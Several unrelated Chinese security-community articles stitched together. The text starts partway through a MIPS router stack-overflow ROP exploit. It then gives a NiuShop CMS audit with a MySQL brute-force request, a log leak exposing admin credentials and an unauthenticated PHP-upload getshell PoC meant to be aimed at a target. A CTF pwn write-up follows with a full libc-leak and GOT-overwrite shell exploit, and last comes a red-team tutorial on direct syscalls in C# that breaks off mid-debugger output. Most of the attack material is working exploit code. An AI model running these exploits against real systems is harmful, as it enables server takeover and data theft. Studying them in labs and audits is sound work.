payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3------------------- payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += stg3_SC
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
## 总结
在实际的路由器栈溢出时，如果执行 `execve` 函数没办法 `getshell` 时，可以试试上面反弹 `shell` 的方式。 | 社区文章 |
本文适合0基础玩家。
### 0x01 环境搭建
Code：[http://www.niushop.com.cn/download.html](http://ns-download.niushop.com.cn/niushop_b2c_release.zip)
Version：单商户 2.2
测试环境：`MacOS 10.14` \+ `MAMP Pro` \+ `BurpSuite` \+ `FileMonitor`
### 0x02 黑盒测试
#### 0x02_1 安装测试
下图为改数据包发送后的文件变化
关键步骤的数据包 每进行一步骤通过Action发送到Repeater保存一份 注意通过FileMonitor观察文件变化
正常完成后再通过Repeater重新发送数据包并观察文件变化。
通过重新发送前面的数据包发现 即便已经安装 仍可以通过该数据包验证 **爆破mysql密码** (如果mysql密码正确 此处返回值为1 错误为0)
归咎与逻辑错误 不算漏洞（如果外网可连接mysql 何必通过此处爆破）
POC：
GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install.php?refresh
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: action=db
验证另外几个数据包发现文件并无变化 暂定为此处无漏洞。
#### 0x02_2 后台测试
后台登录建议讲数据包发送到Repeater进行多次发送 观察时候会有验证码等限制 测试后台是否可爆破 此处经过测试 可爆破
Python Poc：
同时注意观察文件变化
如图 发现会写出日志且目录命名简单 可猜解
http://host.com/runtime/log/201901/03.log
即为 `域名` \+ `/runtime/log/` \+ `年月` \+ `/` \+ `号数` \+ `.log`
可访问查看是否存在敏感信息泄露
如图 发现 **日志泄露了管理登录账号密码** 。
第一枚漏洞Get。
继续后台功能测试
从第一个功能开始测试 每个功能均使用一遍 持续观察文件变化！重要的数据包保存一份 重发测试。
经过使用功能时发现 此处仅不可直接上传php文件 但是可在Repeater中修改图片为php继续上传 将php文件修改为png格式后上传不通过
说明此处上传只做了前端限制和检查了文件头 此处先上传正常图片 然后修改后缀以及文件中间的内容为php代码来Getshell。
需要注意此时时需要后台权限的 可尝试修改后删除cookie测试上传能否继续完成。
通过多次修改和观察发现 删除Cookie后可继续上传 但是如过度删除图片内容 会导致php文件虽然写入成功 但是路径无法返回 根据监控到的文件变化来看
此处以文件hash命名导致无法爆破到路径 可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。
通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试 发现其实最要把php文件追加到图片后面就可以了
命令
Windows:type phpinfo.php >> poc.png
MacOS/Linux:cat phpinfo.php >> poc.png
至此 该CMS **前台Getshell** 完成。
其余功能测试同理。
### 0x03 代码分析
整理一下前面的漏洞
* mysql密码爆破
根据url直接定位到install.php文件
第38到62行
if($_GET['action']){
$dbserver = $_GET['dbserver'];
$dbusername = $_GET['dbusername'];
$dbpassword = $_GET['dbpassword'];
$dbname = $_GET['dbname'];
$link = mysql_connect($dbserver, $dbusername, $dbpassword);
$query = mysql_query("SHOW DATABASES LIKE '{$dbname}';");
// var_dump($query);
if(mysql_fetch_assoc($query) != false){
//说明数据库已经存在
echo 1;
exit();
}else{
echo 0;
exit();
}
}
$actions = array('license', 'env', 'db', 'finish');
$action = $_COOKIE['action'];
$action = in_array($action, $actions) ? $action : 'license';
$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {
header('location: ./index.php/shop');
exit;
}
显而易见 在判断install.lock文件是否存在之前就进行数据库验证 不受install.lock的影响 属于逻辑问题
调整一下代码的位置或删除`install.php`即可修复。
* 敏感日志泄露
定位到application/admin/controller/index.php文件 第40行到68行代码如下
public function index()
{
$debug = config('app_debug') == true ? '开发者模式' : '部署模式';
$this->assign('debug', $debug);
$main = \think\Request::instance()->domain();
$this->assign('main', $main);
// 销售排行
$goods_rank = $this->getGoodsRealSalesRank();
$this->assign("goods_list", $goods_rank);
$this->assign("is_index", true);
//快捷菜单选项
$config_service = new Config();
$shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);
$this->assign('shortcut_menu_list',$shortcut_menu_list['data']);
//快捷菜单id数组
$selected_ids = [];
foreach($shortcut_menu_list['data'] as $key=>$val){
$selected_ids[] = $val['module_id'];
}
$this->assign('selected_ids',$selected_ids);
$this->assign('is_show_shortcut_menu',1);
$this->getSystemConfig();
return view($this->style . 'Index/index');
}
如42行所示app_debug模式默认为true 为开启状态 改cms是基于thinkphp编写的
debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线 以解决此问题
* 前台Getshell
定位到application/admin/controller/Upload.php文件 第556行到568行代码如下
// 验证文件
if (! $this->validationFile()) {
return $this->ajaxFileReturn();
}
$guid = time();
$file_name_explode = explode(".", $this->file_name); // 图片名称
$suffix = count($file_name_explode) - 1;
$ext = "." . $file_name_explode[$suffix]; // 获取后缀名
// 获取原文件名
$tmp_array = $file_name_explode;
unset($tmp_array[$suffix]);
$file_new_name = implode(".", $tmp_array);
$newfile = md5($file_new_name . $guid) . $ext;
后台明没有后缀限制 上传成功后的新文件(`$newfile`) 的后缀是从源文件中`$ext`取出来的 导致了后缀可控
### 0x04 Poc编写
import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
将poc种的127.0.0.1替换成目标即可
懒人攻略：用附录中的burp插件`scriptgen-burp-plugin-6.jar`即可快捷生成
### 0x05 附录
* [FileMonitor for all](https://github.com/TheKingOfDuck/FileMonitor)
* [FileMonitor for MacOS](https://www.waitsun.com/fsmonitor-1-0-7.html)
* [scriptgen-burp-plugin-6.jar](https://share.weiyun.com/5wZrkQo) 密码：vwfhfd
* [MAMP Pro](https://www.zhinin.com/mamp-pro-for-mac.html) | 社区文章 |
湖湘杯的pwn比赛很有趣，我做了pwn300的题目，感觉不错，我把wp分享出来，pwns的下载链接是： 在附件中
把pwn400直接拖入ida中：
main函数：
Create Profile函数：
Print Profile函数：
Update Profile函数：
Exchange函数：
这个题目有点难度，我花了三天才搞定，题目的流程不难，首先创建Profile，当名字的长度小于8的时候会把数据写入bss段，数据的长度值nbytes会放入数据的后面，大于8的时候会malloc一个空间，把输入写入堆中，而指针会保存在bss段，而数据的长度值nbytes也会保存在指针的后面，更新Profile的时候也会做相同的操作，打印数据的时候会把名字输出，可以用这个功能泄露程序任意地址的任意数据，Exchange可以交换两个地址的数据，可以利用这个来getshell
先运行一下程序看一下这个程序干了啥：
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行，于是肯定就会想到用rop来做
这个程序有两个地方可以利用：
（1）是创建的Profile，名字长度如果小于8就把数据写入bss段中，但是你可以输入负数，如果是负数的话，就可以造成整数溢出，你就可以在bss段中写入任意长度的数据，就可以覆盖后面的长度值nbytes为任意数值，这样你可以伪造一个任意长度的数据，在print函数中可以看到如果nbytes长度小于8就去读bss中的数据，如果nbytes大于8就会去读bss中的指针指向的数据，如果我们伪造nbytes的话就可以让print
Profile函数去读任意地址的数据，通过got表可以计算出libc的基地址
（2）是Exchange函数可以交换任意两个指针，但是两个指针都是要有写权限的，程序中权限可以通过vmmap来查看
这个地方是难点，解决方法是：用top_chunk 指针和read@got指针进行交换，第二次堆分
配时候可以分配到我想要的位置，就可以把想要数据写入read@got中，当下回调用read的时候就可以跳到MAGIC中getshell了，关于top_chunk的介绍可以参考<https://www.cnblogs.com/alisecurity/p/5486458.html>
我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
import binascii
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC=0x5fbc6
localmain_arena=0x001B2780
def debug(addr = '0x08048BA6'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,sysmbol,offset):
if sysmbol=='min':
return eval(prog_addr)-offset
else:
return eval(prog_addr) + offset
def cr_up_profile(choose,name_len,name,age):
io.recvuntil('>')
io.send(choose)
io.recv()
io.sendline(name_len)
io.recvuntil('Input your name:\n')
io.sendline(name)
io.recvuntil('Input your age:\n')
io.sendline(age)
def print_profile(address):
io.recvuntil(">")
io.sendline('2')
data = io.recv().splitlines()[0][11:15][::-1]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
def change_age(address1,address2):
io.sendline('4')
io.recvuntil('Person 1:')
io.send(p32(address1))
io.recvuntil('Person 2:')
io.send(p32(address2))
def leak(address):
payload = p32(address) + 'a' * 4 + p32(10)
cr_up_profile('3','-10',payload,'10')
return print_profile(address)
def getshell(address1,address2,address3):
change_age(address1,address2)
cr_up_profile('3','20',address3,'20')
#libc addr
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
symbols = ['environ', '_environ', '__environ']
for symbol in symbols:
environ = libc.symbols[symbol]
print "environ:"+hex(environ)
head=libc.symbols['__curbrk']
print "head:"+hex(head)
system=libc.symbols['system']
print "system:"+hex(system)
__malloc_hook=libc.got['__malloc_hook']
print "__malloc_hook:"+hex(__malloc_hook)
#profile addr
elf = ELF('/home/h11p/hackme/huxiangbei/profile')
printf_addr=elf.got['printf']
puts_addr=elf.got['puts']
atoi_addr=elf.got['atoi']
malloc_addr=elf.got['malloc']
__isoc99_scanf_addr=elf.got['__isoc99_scanf']
read_addr=elf.got['read']
print "printf_addr:"+hex(printf_addr)
print "puts_addr:"+hex(puts_addr)
print "atoi_addr:"+hex(atoi_addr)
print "malloc_addr:"+hex(malloc_addr)
print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)
print "read_addr:"+hex(read_addr)
io = process('/home/h11p/hackme/huxiangbei/profile')
#debug()
#create profile
cr_up_profile('1','10','a'*8,'1'*12)
#leak libc base
libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670
#get libc func addr
print "libc_base:"+hex(libc_base)
MAGIC_addr=libc_base+localMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
environ_addr=libc_base+environ
print "environ_addr:"+hex(environ_addr)
head_addr=libc_base+head
print "head_addr:"+hex(head_addr)
main_arena_addr=libc_base+localmain_arena
print "main_arena_addr:"+hex(main_arena_addr)
topchunk=main_arena_addr+0x30
print "topchunk:"+hex(topchunk)
system_addr=libc_base+system
print "system_addr:"+hex(system_addr)
__malloc_hook_addr=libc_base+__malloc_hook
print "__malloc_hook_addr:"+hex(__malloc_hook_addr)
'''
libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)
print "libc_start_main:"+hex(libc_start_main)
head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)
print "head_addr_input:"+hex(head_addr_input)
'''
#getshell
getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))
io.interactive()
io.close()
效果是：
Ps:
寻找
MAGIC可以用one_gadget这个工具，工具地址在： <https://github.com/david942j/one_gadget> | 社区文章 |
# 红队战术：在C#中使用syscall之编写代码
##### 译文声明
本文是翻译文章，文章原作者 Jack Halon，文章来源：jhalon.github.io
原文地址：<https://jhalon.github.io/utilizing-syscalls-in-csharp-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文专注于实际编写代码，利用在上一篇文章中学到的内容，实现一个有效的syscall。除了编写代码外，也会介绍如何对“工具”代码进行管理，以及如何为之后与其他工具的集成做准备。
* * *
在上一篇文章中，我们介绍了一些在C#中使用syscall需要了解的基本概念，其中触及了一些比较深入的主题，例如Windows内部结构及系统调用的概念。还讨论了.NET
框架的工作原理以及如何在C#中利用非托管代码执行syscall汇编代码。
在阅读本文之前，我 **强烈**
建议你先阅读上一篇文章，否则你可能无法理解本文介绍的部分主题。当然，我会尽力对其进行解释并为其中的部分主题提供外部资源链接，但本文要讨论的几乎所有内容都能在上一篇文章中找到解释！
😁
在本文中，我们会专注于实际编写代码，利用在本文中学到的内容，实现一个有效的syscall。除了编写代码外，我们也会介绍如何对“工具”代码进行管理，以及如何为之后与其他工具的集成做准备。这里集成的意思类似[Ryan
Cobb](https://twitter.com/cobbr_io)编写的[SharpSploit](https://github.com/cobbr/SharpSploit)库文件，该文件被开发用于和其他C#项目集成在一起工作，但我们编写的代码不会有这么广的应用范围。
我最初是想要在本文中引导读者逐步开发出一个真正能在工作时使用的工具，类似[Dumpert](https://github.com/outflanknl/Dumpert)或[SysWhispers](https://github.com/jthuraisamy/SysWhispers)。但是考虑到这么做之后文章的长度以及复杂度，我选择编写一个简单的PoC代码来演示单个syscall的执行。
我相信在阅读完本文及示例代码（会同时发布在[GitHub](https://github.com/jhalon/SharpCall)上）之后，你自己也能编写出一个工具！如果你需要更多信息，我还会在文章末尾提供一些其他工具的链接，这些工具也在C#中使用了相同的syscall概念。
谁知道呢，也许我会直接做一个直播，和大家一起现场编写一个新的工具！ 😏
好了，现在让我们打开Visual Studio或Visual Code，开始敲写代码吧！
## 代码及类结构设计
如果说我在编写红队使用的自定义工具（无论是恶意软件还是其他植入程序）时学到的唯一内容，就是我们一定要组织好代码以及自己的想法，将它们分成不同的类。
[类](https://docs.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/classes-and-objects)是C#中最基本的类型之一。简单来说，类是一种数据结构，它将字段(field)、方法以及其他成员函数组合在一个单元中。同时类还能够用作对象并支持[继承](https://docs.microsoft.com/en-us/dotnet/csharp/tutorials/inheritance)和[多态](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/polymorphism)，该机制可以用于派生类的扩展。
创建完后，只要在源代码文件中添加“[using](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/using-directive)”指令，就能够在代码库的任意位置使用这些类了。这时我们可以直接访问这些类的静态成员以及嵌套类型，而不需要在前面添加类名做限定。
比如说我们有一个叫做“ **Syscalls** ”的新类，其中包含了syscall逻辑。如果我们没有在C#代码中添加 **using**
指令，就需要使用完整的类名对函数进行限定。也就是说，如果该类中包含了一个对 **NtWriteFile**
的syscall汇编代码，如果想要在另一个类中访问该方法，就需要使用`Syscalls.NtWriteFile`这样的形式。这样当然也没问题，但如果使用这个类的次数比较多的话，就会显得很累赘。
现在，你们中的一些人可能会问，“ _为什么我们需要这种简化？_ ”
有两个原因：第一，在组织结构上可以让我们的代码更“干净”；第二，可以让调试及修复代码的过程更加轻松，不需要在大量的文本寻找分号的位置。
现在开始对我们的代码结构进行组织。首先创建一个新的.NET Framework Console App项目，并设置使用3.5 .NET
Framework，像这样：
创建完成后，你应该可以访问一个新的文件，叫做`Program.cs`。 如果查看Visual Studio的右侧，应该能够注意到在Solution
Explorer中，解决方案的结构如下所示。
+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
`Program.cs`文件中会包含程序的主要逻辑。就此次的PoC而言，我们会在该文件中调用并使用我们的syscall代码。之前已经介绍过了，当使用一个有效的syscall标识符调用
**syscall** 指令的时候，CPU中就会发生系统调用。该指令会让CPU从用户模式切换到内核模式，从而执行某些特权操作。
如果我们只用一个syscall，那么只需要把它添加到`Program.cs`文件。但是这么做之后，如果我们接下来想要进一步开发此程序，让其模块化或提高其灵活性，从而更好地和其他程序进行集成，就会出现更多的问题。
所以我们要始终考虑到未来的情况，把所有的syscall汇编代码分离到一个单独的文件中。这样，如果将来需要增加更多的syscall，就可以直接把它们添加到一个类中，然后从程序中对其进行调用。
这也是我们接下来要进行的工作。先在解决方案中添加一个新文件，将其命名为`Syscalls.cs`。现在，解决方案的结构应类似于：
+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
|
+->Syscalls.cs (Class to Hold our Assembly and Syscall Logic)
很好，现在应该可以开始编程了吧？好吧，还不行，我们还忘了一件很重要的事情。 由于我们要使用的是非托管代码，所以还需要实例化Windows
API函数，这样我们就能够在C#程序中调用它们了。为了使用非托管函数，我们需要使用[P/Invoke](https://docs.microsoft.com/en-us/dotnet/standard/managed-code)对其结构、参数以及任何其他相关的标志信息进行声明，。
同样，以上内容也可以在`Program.cs`文件中完成，但是为了让代码更加整洁，应该在一个单独的类中完成所有P/Invoke工作。
因此，在解决方案中新添加一个文件，并将其命名为`Native.cs`，该文件包含了我们的“原生” Windows函数。
现在，解决方案的结构应类似于：
+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
|
+->Syscalls.cs (Class to Hold our Assembly and Syscall Logic)
|
+->Native.cs (Class to Hold our Native Win32 APIs and Structs)
现在已经完成了程序的结构组织，并明确了各部分的功能，要开始正式地编程了！
## 编写syscall代码
因为这只是一个PoC，所以我会使用[NtCreateFile](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile)系统调用在桌面创建一个临时文件。
如果程序能够正常工作，就证明代码中的逻辑是正确的。之后我们就能编写更复杂的工具，并通过其他系统调用扩展我们的syscalls类。
还有一点要注意，下面所有的代码只能在64位系统上工作。
首先，我们需要为 **NtCreateFile** 的syscall编写汇编代码。
正如上一篇文章所述，我们可以使用[WinDBG](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools)反汇编并检查 **ntdll**
中NtCreateFile的调用情况。
先获得函数的内存地址，再在该地址处执行反汇编，这时可以获得以下输出。
从上图中可以看到syscall的标识符为0x55。
而且如果查看汇编指令的左侧，可以看到syscall指令的十六进制表示形式。由于C#不支持内联汇编，我们会把这些十六进制字符组成shellcode，并放入字节数组中。
该字节数组会放入`Syscalls.cs`文件的Syscalls类中，如图所示，创建一个新的名为`bNtCreateFile`的[静态](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/static)字节数组。
到这里我们就完成了第一个汇编的syscall代码。但我们要如何构建代码来执行这段程序呢？如果你读过我的上一篇文章的话，应该会记得一个叫做[委托(delegate)](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/)的东西。
Delegate类型代表了对具有特定参数列表和返回类型的 **方法的引用** 。在对其进行实例化的时候，可以把具有兼容的签名以及返回类型的 **任意方法**
作为它的实例。然后就能通过该实例调用被委托的方法了。
听起来可能有些混乱，但是如果你记得的话，在上一篇文章中，我们定义了一个名为`EnumWindowsProc`的委托，之后定义了该委托的实现`OutputWindow`。该实现告诉了C#要如何处理传递给此函数引用的数据，不管它是来自托管代码还是非托管代码。
在此处的`Syscall.cs`类中，我们也可以执行同样的操作，为非托管函数( **NtCreateFile**
)定义一个委托。这样我们就能在该委托的实现中，把汇编的syscall转换为一个有效的函数了。
不过还是一步步的来，首先，我们要为该NtCreateFile委托定义签名。为此，在`Syscall`类中创建一个名为`Delegates`的公共的[struct类型](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/builtin-types/struct)。
该结构体中会包含所有的原生函数，也即委托的签名，这样就可以在之后的syscall中使用它们了。
在定义委托之前，先看一下NtCreateFile在C中的语法。
__kernel_entry NTSTATUS NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer,
IN ULONG EaLength
);
在上面的语法结构中，有一些内容是我们之前没看到过的。
首先，NtCreateFile函数的返回类型为[NTSTATUS](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55)，该结构体中包含了代表每个消息标识符的无符号32位整数。除此之外，该函数中的部分参数接受的是一组不同的标志或者结构，比如说[ACCESS_MASK](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b)标志，[OBJECT__ATTRIBUTES](https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes)结构以及[IO_STATUS_BLOCK](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_io_status_block)结构。
如果再查看一下其他参数的定义，比如说`FileAttributes`还有`CreateOptions`，我们会发现这些参数接受的也是特定的标志。
所以如果想要在C#中使用非托管代码，就存在一个关键问题，我们需要 **手动**
创建这些标志的枚举类型以及结构，让其与上述Windows定义的值相同。否则，如果我们传递到syscall的参数与定义不符，就会导致syscall中断或者返回错误信息。
值得庆幸的是，[P/Invoke
wiki](https://www.pinvoke.net/)中包含相关信息。我们可以在这里查找如何实现原生的函数，结构体以及标志。
你也可以在Microsoft的[Reference
Source](https://referencesource.microsoft.com/)上搜索需要的特定结构以及标志信息。这里的内容应该比P/Invoke中的内容更接近原始的Windows参考手册。
下列链接有助于我们实现NtCreateFile函数中所需的必要结构以及标志：
* [NTSTATUS](https://www.pinvoke.net/default.aspx/Enums/NtStatus.html)
* [ACCESS_MASK](https://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK)
* [OBJECT_ATTRIBUTES & IO_STATUS_BLOCK](https://www.pinvoke.net/default.aspx/ntdll.ntcreatefile)
* [FileAttributes, ShareAccess & CreateDisposition](https://www.pinvoke.net/default.aspx/kernel32.CreateFile)
由于这些值，结构和标志对于Windows来说都是“原生”的，我们把它们添加到`Native.cs`文件下的`Native`类中。
所有内容添加完毕后，下图显示了`Native.cs`文件的部分内容：
注意，上图只显示了一部分已经实现的原生结构与标志。如果要阅读完整内容，请查看我的GitHub上SharpCall项目中的[Native.cs](https://github.com/jhalon/SharpCall/blob/master/Native.cs)文件。
此外，注意到在每个结构以及标志枚举器之前我们都添加了[public](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/public)关键字。这样我们就能从程序的其他文件中访问这些内容了。
实现以上内容后，我们就可以把NtCreateFile中C++形式的数据类型转换为C#形式的数据类型。转换后，该函数在C#中的语法应该为：
NTSTATUS NtCreateFile(
out Microsoft.Win32.SafeHandles.SafeFileHandle FileHadle,
FileAccess DesiredAcces,
ref OBJECT_ATTRIBUTES ObjectAttributes,
ref IO_STATUS_BLOCK IoStatusBlock,
ref long AllocationSize,
FileAttributes FileAttributes,
FileShare ShareAccess,
CreationDisposition CreateDisposition,
CreateOption CreateOptions,
IntPtr EaBuffer,
uint EaLength
);
在按照该结构定义一个委托之前，我们先简要介绍一下上面的部分数据类型。
之前说过，C++中的指针或句柄在C#中一般都可以转换为[IntPtr](https://docs.microsoft.com/en-us/dotnet/api/system.intptr?view=netframework-4.8)，但在此例中，我把PHANDLE（指向[句柄](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types#handle)的指针）转换成了[SafeFileHandle](https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.safehandles.safefilehandle?view=netframework-4.8)类型。之所以这么做是因为在C#中
**SafeFileHandle** 代表了一个文件句柄的包装类。
因为我们需要创建文件，并且会通过委托把数据从托管代码传递到非托管代码（或者反向），所以我们要确保C#可以处理并理解它要marshaling的数据类型，否则可能会报错。
其余的数据类型应该很简单，因为`FileAttributes`，`FileShare`这些类型代表的就是我们添加到`Native`类中的结构以及标志枚举器中的变量和值。每次把数据传递给这些参数（无论是值还是描述符）时，都需要与特定的结构或是标志枚举器相对应。
你可能也注意到，我在一些参数中添加了[ref](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/ref)和[out](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/out-parameter-modifier)关键字。这两个关键字表明参数是通过引用而不是值传递。
**ref** 和 **out** 之间的区别在于， **ref** 关键字表示参数在传递之前必须先对其进行初始化，而 **out**
则不需要。另一个区别是， **ref** 关键字表示数据可以双向传递，并且当控制权返回到调用方法时，在被调用方法中对参数的任何修改都会反映到对应的变量中。而
**out** 关键字表示数据仅在单向传递，并且无论调用方法返回的值是什么，最后都会被设置成该引用变量。
所以在NtCreateFile函数中，我们为`FileHandle`添加了 **out** 关键字，因为如果函数执行 **成功** ，该参数会是一个指向用于
**接收** 文件句柄的变量的指针。这就表示数据只会被“传回”给我们。
接下来我们就可以把符合C#语法的NtCreateFile函数添加到`Syscalls`类中的`Delegates`结构中了。
完成后，Syscalls类应该如下所示。
**注意** ：我在文件顶部添加了`using static
SharpCall.Native`。它告诉了C#使用叫做`Native`的静态类。之前已经解释过了，这么做就可以直接使用原生的函数，结构以及标志，而不需要添加类名的限定了。
在继续下一步之前，还要注意到在Delegates结构中，在设置NtCreateFile的委托类型之前，我还调用了[UnmanagedFunctionPointer](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute?view=netframework-4.8)属性。该属性会控制委托的签名的marshaling行为，在传入或传出非托管代码时，与非托管函数指针类型进行转换。
该属性的添加十分关键，因为我们会使用不安全代码把非托管指针类型从syscall汇编代码marshal到上述函数委托中，正如上一篇文章所述。
太好了，我们已经取得了一些进展，定义了结构，标志枚举器以及函数委托，现在我们需要进一步实现该委托，从而处理传递给该委托的任何参数。这些参数会先被初始化，然后由syscall汇编代码进行处理。
先创建，或者说实例化我们的NtCreateFile函数委托。这部分内容可以直接添加在在syscall汇编代码之后。
创建完成后，`Syscalls.cs`文件应如下所示。
实例化委托后的`TODO`注释部分，会用来添加对传递于托管与非托管代码之间的数据进行处理的代码。
在上一篇文章中，我解释了[Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_)允许我们将非托管函数指针转换为指定类型的委托。
如果在[unsafe](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/unsafe)的上下文中使用该方法，我们就能创建一个指向shellcode所在内存位置的指针（即syscall汇编代码），并使用委托在托管代码中执行该汇编代码。
我们会在这里执行同样的操作。先创建一个新的名为`syscall`的[字节数组](https://docs.microsoft.com/en-us/dotnet/api/system.byte?view=netframework-4.8)，并将其设置为`bNtCreateFile`汇编代码的内容。
完成后，设置 **unsafe** 上下文并在大括号中添加不安全的代码。
更新完成后的`Syscalls.cs`文件应如下所示。
我在上一篇文章中也解释过，在该不安全上下文中，我们会初始化一个新的名为`ptr`的字节指针，将其设置为`syscall`的内容，也就是汇编代码的字节数组。
之后，如前文所述，我们为指针添加了[fixed](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/fixed-statement)语句，这样我们就能防止垃圾回收器在内存中对syscall字节数组进行重新定位。
之后，我们会直接把字节数组指针转换（[cast](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/types/casting-and-type-conversions)）成一个叫做`memoryAddress`的IntPtr。 这样我们就能在程序执行期间获取到syscall字节数组所处的内存地址了。
更新完成后的`Syscall.cs`文件应如下所示。
接下来要格外注意了，下面就是奇迹发生的地方！ 😉
由于我们现在已经拥有了（或将要拥有）程序执行期间syscall汇编代码所在的内存地址，我们需要完成一些操作以确保这部分代码能够在其分配的内存区域内得到正确的执行。
如果你熟悉exploit开发期间shellcode的工作原理——每当我们想要在目标进程或目标内存页中写入，读取或者执行shellcode的时候，首先要确保这部分内存区域具有相应的访问权限。
如果你对此还不熟悉，请阅读有关Windows安全模型对[进程安全及访问权限](//docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights))进行控制的内容。
比如说，让我们看看 **NtCreateFile** 函数在记事本中执行时具有怎样的内存保护。
0:000> x ntdll!NtCreateFile
00007ffb`f6b9cb50 ntdll!NtCreateFile (NtCreateFile)
